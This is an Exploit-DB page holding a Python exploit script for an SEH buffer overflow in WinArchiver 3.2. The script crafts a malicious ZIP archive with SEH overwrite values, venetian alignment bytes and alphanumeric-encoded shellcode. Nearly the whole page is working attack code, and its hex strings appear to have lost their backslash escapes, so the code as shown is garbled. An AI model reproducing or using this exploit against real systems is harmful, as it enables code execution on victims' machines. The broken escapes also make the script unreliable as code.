[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : WinArchiver 3.2 - SEH Buffer Overflow
# Published : 2013-05-01
# Author :
# Previous Title : FuzeZip 1.0.0.131625 - SEH Buffer Overflow
# Next Title : Adrenalin Player 2.2.5.3 (.wax) - SEH Buffer Overflow


#/usr/bin/python
# Exploit Title: Winarchiver V 3.2 SEH Overflow
# Date: April 24, 2013
# Exploit Author: Josep Pi Rodriguez, Pedro Guillen Nunez , Miguel Angel de Castro Simon
# Organization: RealPentesting 
# Vendor Homepage: http://winarchiver.com
# Software Link: http://www.winarchiver.com/WinArchiver3.exe
# Version: 3.2 
# Tested on: Windows XP SP3

# Exploit-DB Note:
# This submission needs tweaking but a crash does occur 

zip_header = (
"x50x4Bx03x04x0Ax00x04x02x00x00xE5x18xE9x3ExCCxD4"
"x7Cx56x0Fx00x00x00x0Fx00x00x00x08x00x00x00x54x65"
"x73x74x2Ex74x78x74x54x68x69x73x20x69x73x20x61x20"
"x74x65x73x74x21x50x4Bx01x02x14x00x0Ax00x40x00x00"
"x00xE5x18xE9x3ExCCxD4x7Cx56x0Fx00x00x00x0Fx00x00"
"x00xBEx20x00x00x00x00x00x00x01x00x3DxACxBDx04x00"
"x00x00x00"
)
zip_final=(
"x50x4Bx05x06x00x00x00x00x01x00x01x00xECx20x00"
"x00x35x00x00x00x00x00"
)
seh = "x31x48" #ppr 0x00480031
nextseh = "x58x70"
venetian = (
"x55x55"
"x70"
"x58"
"x70"
"x05x25x11"
"x55"
"x2dx19x11"
"x55"
"x50"
"x55"
"xc7"
)
shellcode = (
"PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1"
"AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLJHDIM0KPM030SYK5P18RQTDK1BNPDK0RLLTKB2MDDKS"
"BO8LO870JMVNQKOP1I0VLOLQQCLLBNLO091HOLMKQ7WZBL0220W4KQBLPTKOROLKQZ0TKOPRX55WPRTPJKQXP0P"
"TKOXLXDKQHO0M1J39SOLQ9DKNT4KM1Z601KONQGPFLGQXOLMM197NXIP2UZTLC3MJXOKCMND2UZBPXTK1HO4KQJ"
"3QVDKLLPKTKB8MLKQJ3TKM4TKKQZ04IOTMTMTQK1KQQQI1JPQKOK0PX1OQJ4KLRJKSVQM1XNSNRM0KPBHD7T3P2"
"QOR4QXPL2WO6KWKOHUVXDPKQKPKPNIGTQDPPS8MYU0RKM0KOZ5PPPP20PPQ0PPOPPPQXYZLO9OK0KOYEU9Y7NQY"
"K0SQXKRM0LQ1L3YJFQZLPQFR7QX7RIK07QWKOJ5PSPWS86WIYNXKOKOXUR3R3R7QXD4JLOKYQKOJ5B73YHGBH45"
"2NPM31KOXUQXC3RMC4M0CYYS1GQGR701ZV2JLRR90VK2KMQVY7OTMTOLKQM1TMOTMTN0I6KPPD1DPPQF261FQ6B"
"60N26R6PSR6RHRYHLOODFKOIE3YYPPNPVOVKONP38KXTGMM1PKOJ5WKJP6UERB6QX6FTUWMUMKOZ5OLM6SLLJ3P"
"KKK045M5WKQ7N3RRRORJM0QCKOHUA"
)
buffer =  "x41" * (205+216) + shellcode + "x41" * (2000-216-len(shellcode)) + nextseh + seh + venetian + "x42" * (6173-len(venetian))
print len(buffer)
payload = buffer
mefile = open('seh_winarch.zip','w')
mefile.write(zip_header + buffer + zip_final)
mefile.close()